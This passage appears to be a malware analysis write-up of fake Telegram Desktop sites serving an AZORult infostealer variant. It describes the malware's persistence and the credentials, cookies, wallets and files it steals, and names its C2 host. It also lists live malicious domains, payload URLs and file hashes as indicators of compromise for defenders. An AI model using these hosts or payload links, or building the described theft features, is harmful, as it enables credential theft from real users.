The binary is a .NET executable which is decompilable via dnSpy.
On first analysis we can notice that the binary is heavily obfuscated.
Using
de4dot it was possible to get some clarity into it.
One observed function is the establishment of persistence via scheduled tasks:
There's also an executable that gets dropped:
Let's look at the second stage payload:
The strings seem like they've been used by a different campaign disguising itself as a counter-strike management tool.
The new binary is not packed and reveals a lot of functionality:
Even though it tries to disguise itself by using seemingly harmless package names such as Microsoft.Contents and Microsoft.Data.Browsers.Chromium the function names are very clear.
The malware is a spyware and allows for, for example, the following functionality:
- Stealing of FileZilla credentials
- Stealing of NordVPN credentials
- Stealing of OpenVPN credentials
- Retrieving of arbitrary files
- Stealing of Crypo wallets
- Stealing of Telegram history
- Stealing of stored Chrome credit cards
- Stealing of stored Chrome cookies
- Stealing of stored Chrome autofills
- Stealing of stored Chrome passwords
- Stealing of stored Firefox passwords
- Stealing of geographical location
Analyzing the functionality is comparitively easy. The malware just adds some additional characters to an array that it replaces with whitespace upon pasing to the target function.
The main C2 functionality happens in the Microsoft.Data.Core package in a class called AhnLabldiNaxui:
Tracing this we find the C2 server hardcoded in the Microsoft.Data.Core.Launchers under the Executor class:
Let's dig deeper into the C2 sttthayre.site:
Spyse attributes the host to a company called "American Australian Business Council.
The c2 doesn't have any subdomains apart from www and a portscan only identified SSH, HTTP and HTTPS to be open.
Looking at the embedded strings we could identify the malware as a AZORult Infostealer variant:
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://blogs.infoblox.com/cyber-threat-intelligence/azorult-infostealer/
AZORult was being used in malvertising campaigns targeting a popular VPN service, as well as using COVID-19 themed campaigns.
Analysis telegramdesktop.net site
When looking at the .net site we see a similar tactic but using a different bitbucket account.
This one is called LLCtruster and doesn't provide commit metadata.
And only contains one repository:
As well as one project:
With one hosted file:
- https://bitbucket.org/LLCtruster/download/downloads/TelegramInstaller-1.exe
Analysis telegramdesktop.org site
Interestingly the .org page does not rely on bitbucket but uses a custom tupdate.net site to host it's payload.
The tupdate site is also registered by namecheap.com.
The site features several subdomains:
When accessing the link without a download we get an error page which might be on purpose or because of namecheap.
Same with the ftp subdomain:
The ftp site's certificate is issued to a namecheap domain:
IOC's
The following indicators of compromise can be used to hunt for traces of the malware.
Network
Type |
Indicator |
URI |
telegramdesktop.com (162.213.251.93 - AS22612 - NAMECHEAP-NET) |
URI |
telegramdesktop.net (162.213.251.147 - AS22612 - NAMECHEAP-NET) |
URI |
telegramdesktop.org (162.0.215.213 - AS22612 - NAMECHEAP-NET) |
IP |
94.158.245.88 - AS39798 - MivoCloud SRL |
URI |
bitbucket.org/LLCTRUST/softwarellc (104.192.141.1 - AS16509 - AMAZON-02) |
URI |
bitbucket.org/LLCTRUST/waskotrustedllc (104.192.141.1 - AS16509 - AMAZON-02) |
URI |
bitbucket.org/takax/1 (104.192.141.1 - AS16509 - AMAZON-02) |
URI |
bitbucket.org/LLCtruster/download (104.192.141.1 - AS16509 - AMAZON-02) |
URI |
tupdate.net/tsetup.2.5.1.exe: 162.213.251.149 - AS22612 - NAMECHEAP-NET |
URI |
sttthayre.site: (94.140.115.92 - AS43513 - Sia Nano IT) |
Files
Name |
MD5 |
CRC32 |
SHA-256 |
12.bat | b8e4a5445afd82cc60f750af508a2b1a | ee227dd5 | 7ea496cdfac7994cdf05b2969c70b6c36e3bb8c0841dc2fcbcbe0e623970a39c |
clr.exe | 2eb989ff97ff6fef2f157d65be918f25 | b9b381f0 | da1c685c7a40495abafb6db78d7baca671f88b463fbdd1d3c4e906f7e994f349 |
Get-Content.ps1 | 35c34f487155cf7fc72c3146bfa1a016 | 92854983 | b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfacff1fd5d |
mae.ps1 | dbd0a5fb31fdf76cf0d7dfa2e67adeb7 | c98fae3f | 42c277ada9c6f8ddcd6211e4792a8df1fa0d0ad8cbb867eee1a431cc1b79834d |
RDP.exe | 90df033c35877ce3afe2d5fc10a9dad9 | 0c50e20e | 4bb7855a190cdc9322508ef836eb9ef739de76158245462a207f1676e98608dd |
ready.ps1 | a91d27b7362a72f33b4e89e4087b62db | 9464eb7d | 5b6b7899dd459fa0bb234a0b102af91f4ee412abf36b1c54d1253ae59dda6ee2 |
start.vbs | 9e3905e054e78547ec4fbbbb73e92b78 | 6fbc44ad | 5d4a0661cfb3cca59acd8a9fa433ec2c48d686da36f3890b73e7b9f37c60e980 |
TelegramInstaller.exe | 4226ddfa64f91d76033ac6f51b326d02 | b5ba217d | 36152684fd71dd33228715ffd5b3e72e75f91906e8365f0aa3eff497801deca3 |
Crycker.exe d | a71ff9f79c995a0ed1e1f26dd85586f | be1cdb18 | 631fcb530b12dfda93e88c24350c55a708c07969efacae950139dc192fa8d372 |
Discord_x86_Setup.exe | bbed0ddebf7ec894e20a77b670befcd8 | af78cad6 | c9215827866b2daaa79e964bef45238b138dd60a69fcf7fb04f057cbdd38fe25 |
DRX.exe | 12dea79ef46da2b26230e9ebe29c2f51 | cfc96df5 | bff61a79b40c68375c9ce4117425b7ccca34e8714d71926159576fb08842c350 |
LLCTRUST-softwarellc-31a6a41f7711.zip | 49cf21cd3afce1181d5eb167af21ec8b | 6d3ec98e | d0da353baf81f8fe198333c713f5e8adcbe7b1477f6f0638f6502e6d55c292e9 |
RuntimeBroker.exe | 8e1f82d4f79bd42224fdc9aaae61fafc | 0a6636ee | 677bf0b5ec326252e015894397c6c1ada5bd3909ee07dde9d3cc0861f4193497 |
rxr.exe | a15dfe52183ac1d6d93b43a1dba17082 | 1ff78ced | 7de531c3c70bf09290d5faa72e1f4981fe960149f303919fa0db5274a1a43b06 |
SmartScreenUpdater.exe | 6843f879344da78d6f932411ebc564c7 | 18d88b41 | 1cdc5da577d130894f9dfa501e76642d8a959c0703f95b4135ba241aff4661d4 |
SoftwareUpdate.exe | 81e7d53d21c778d8f15dbb5e4add5001 | c2fb878e | 2ecf860cef78ae5fda4f44efc66c47b6ccd1c78d4996fdf0056d8af189931985 |
TelegramInstaller.exe | 21f103ff6a28e4cc47a1a144bb5cfa39 | 9ae5072e | 533ab53d504c4d7378b68247bb83f10d2a836a37ae744dba05fb262e01abfd76 |
TelegramInstallerX86.exe | 6fa152dee435c85812ab8e2bd7ff880a | 099fbcff | 0c6db9bc03740180548cfda8bf49984c81ef21538787e7ddec488f6c7205e69e |
TGInstaller.exe | ac6fc577d6b6b968869fd3221c4f61fe | 4f7544e0 | 45d15117b89ab89201e577e9bfc9aed22713099dec0e95b5e0ee72dbe031d1c8 |
TGInstaller.scr | ac6fc577d6b6b968869fd3221c4f61fe | 4f7544e0 | 45d15117b89ab89201e577e9bfc9aed22713099dec0e95b5e0ee72dbe031d1c8 |
zxc.exe | 035ce15ab6e6090a8f358a2c4ed46448 | 4d7191d0 | e6c6ab1a4b6382f16126f1e51d65af42653b2a608d60d3dd9b69a5a3069a8145 |
TelegramInstaller-1.exe | 658912b29decd2f865e9ea7f42c0ddbc | a86fb774 | 44f87d5035305fb93a964d12f0605f06793222caeb6c3a118453113af3e11127 |
tsetup.2.5.1.exe | a519d069642bdf2f1b43e867c8d071fd | e6b27081 | 836ce1b2d00fabdba998f9946844b2f7c70f706a84a63d73cf31cb93f042cc75 |